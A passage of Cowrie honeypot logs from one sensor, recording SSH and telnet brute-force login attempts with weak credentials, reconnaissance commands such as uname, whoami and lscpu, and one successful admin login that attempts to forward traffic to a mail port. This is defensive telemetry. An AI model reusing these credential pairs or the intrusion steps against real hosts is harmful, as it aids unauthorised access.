{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.608658Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.767484Z","src_ip":"80.94.92.186","session":"8ebf28d7fecd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.917908Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.922968Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:18.058437Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:18.370844Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:18.374996Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:18.510449Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:18.818472Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:18.821970Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:18.957263Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.283481Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.287401Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.294873Z","src_ip":"80.94.92.186","session":"8ebf28d7fecd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.423457Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.726398Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.730184Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.865131Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:19.870095Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55046,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d950c3c477a","protocol":"ssh","message":"New connection: 159.203.92.129:55046 (159.203.135.109:22) [session: 5d950c3c477a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:30.751741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:30.756062Z","src_ip":"159.203.92.129","session":"5d950c3c477a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:30.760254Z","src_ip":"159.203.92.129","session":"5d950c3c477a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2013","message":"login attempt [Soyoun/korea2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:30.769919Z","src_ip":"159.203.92.129","session":"5d950c3c477a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:31.776892Z","src_ip":"159.203.92.129","session":"5d950c3c477a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":34332,"dst_ip":"159.203.135.109","dst_port":23,"session":"89da1c280dbc","protocol":"telnet","message":"New connection: 144.124.192.106:34332 (159.203.135.109:23) [session: 89da1c280dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:42.349406Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":34662,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e76117547c","protocol":"telnet","message":"New connection: 144.124.192.106:34662 (159.203.135.109:23) [session: 48e76117547c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:49.655575Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":37611,"dst_ip":"159.203.135.109","dst_port":23,"session":"76bbef5115c2","protocol":"telnet","message":"New connection: 144.124.192.106:37611 (159.203.135.109:23) [session: 76bbef5115c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:52.019145Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":58532,"dst_ip":"159.203.135.109","dst_port":22,"session":"b46853eb12aa","protocol":"ssh","message":"New connection: 170.79.37.88:58532 (159.203.135.109:22) [session: b46853eb12aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:53.403782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:53.407979Z","src_ip":"170.79.37.88","session":"b46853eb12aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:53.512629Z","src_ip":"170.79.37.88","session":"b46853eb12aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"123456","message":"login attempt [sftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:53.961080Z","src_ip":"170.79.37.88","session":"b46853eb12aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:55.069142Z","src_ip":"170.79.37.88","session":"b46853eb12aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":16329,"dst_ip":"10.17.0.5","dst_port":22,"session":"07bb254f8f2a","protocol":"ssh","message":"New connection: 193.46.255.86:16329 (10.17.0.5:22) [session: 07bb254f8f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:58.685464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:58.689763Z","src_ip":"193.46.255.86","session":"07bb254f8f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:58.819346Z","src_ip":"193.46.255.86","session":"07bb254f8f2a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin.123","message":"login attempt [admin/admin.123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:59.401254Z","src_ip":"193.46.255.86","session":"07bb254f8f2a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:59.531631Z","session":"07bb254f8f2a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:59.660580Z","src_ip":"193.46.255.86","session":"07bb254f8f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:59.791167Z","src_ip":"193.46.255.86","session":"07bb254f8f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.62","src_port":58876,"dst_ip":"159.203.135.109","dst_port":23,"session":"8edc330c1e2d","protocol":"telnet","message":"New connection: 167.94.146.62:58876 (159.203.135.109:23) [session: 8edc330c1e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:06.294366Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52806,"dst_ip":"159.203.135.109","dst_port":22,"session":"96b910abb201","protocol":"ssh","message":"New connection: 159.203.92.129:52806 (159.203.135.109:22) [session: 96b910abb201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:14.978365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:14.986256Z","src_ip":"159.203.92.129","session":"96b910abb201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:14.990323Z","src_ip":"159.203.92.129","session":"96b910abb201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2014","message":"login attempt [Soyoun/korea2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:15.039066Z","src_ip":"159.203.92.129","session":"96b910abb201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:16.050511Z","src_ip":"159.203.92.129","session":"96b910abb201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.09217882156372,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:21.386399Z","src_ip":"167.94.146.62","session":"8edc330c1e2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.62","src_port":17792,"dst_ip":"159.203.135.109","dst_port":23,"session":"8327708ef1ee","protocol":"telnet","message":"New connection: 167.94.146.62:17792 (159.203.135.109:23) [session: 8327708ef1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:24.473989Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.211.113.190","src_port":42108,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ea58c87309a","protocol":"telnet","message":"New connection: 122.211.113.190:42108 (159.203.135.109:23) [session: 9ea58c87309a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:27.166509Z"}
{"eventid":"cowrie.session.closed","duration":3.0025222301483154,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:27.476414Z","src_ip":"167.94.146.62","session":"8327708ef1ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.62","src_port":30602,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f2906c825a","protocol":"telnet","message":"New connection: 167.94.146.62:30602 (159.203.135.109:23) [session: f4f2906c825a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:30.576993Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":56584,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a466056b03c","protocol":"ssh","message":"New connection: 170.79.37.88:56584 (159.203.135.109:22) [session: 5a466056b03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:36.010366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:55:36.014800Z","src_ip":"170.79.37.88","session":"5a466056b03c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-